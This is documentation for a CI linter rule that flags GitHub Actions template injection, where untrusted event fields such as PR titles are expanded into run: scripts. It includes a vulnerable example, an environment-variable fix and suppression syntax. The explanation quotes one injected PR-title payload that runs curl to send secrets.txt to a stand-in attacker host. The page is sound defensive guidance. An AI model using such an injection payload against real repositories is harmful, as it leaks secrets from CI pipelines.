SEC004 — template-injection¶
Severity: blocker · Category: Security
What it checks¶
Flags a ${{ ... }} expression inside run: whose path references
attacker-controllable input — things like github.event.issue.title,
github.event.pull_request.body, github.event.comment.body, or
github.head_ref. Anyone who can open an issue, comment, or PR
controls these values.
Why it matters¶
GitHub expands ${{ ... }} expressions before the shell ever sees the
result — the expansion is pasted directly into the script as text, not
passed in as a quoted variable. If an attacker sets a PR title to
"; curl attacker.example/$(cat secrets.txt); echo ", that becomes
literal shell syntax the moment the workflow runs.
Examples¶
Flagged — the PR title becomes part of the shell script itself:
steps:
- name: Check PR title
run: |
echo "Validating: ${{ github.event.pull_request.title }}"
Fixed — pass it through an environment variable, so the shell handles it as data, not as code:
steps:
- name: Check PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Validating: $PR_TITLE"
Suppressing¶
The finding is reported on the run: step's line:
- name: Check PR title # vlotpipe: ignore[SEC004]
run: |
echo "Validating: ${{ github.event.pull_request.title }}"
Only if the value genuinely can't reach a shell interpretation context — for example, if it's immediately piped into a tool that treats its entire input as an opaque string with no further evaluation.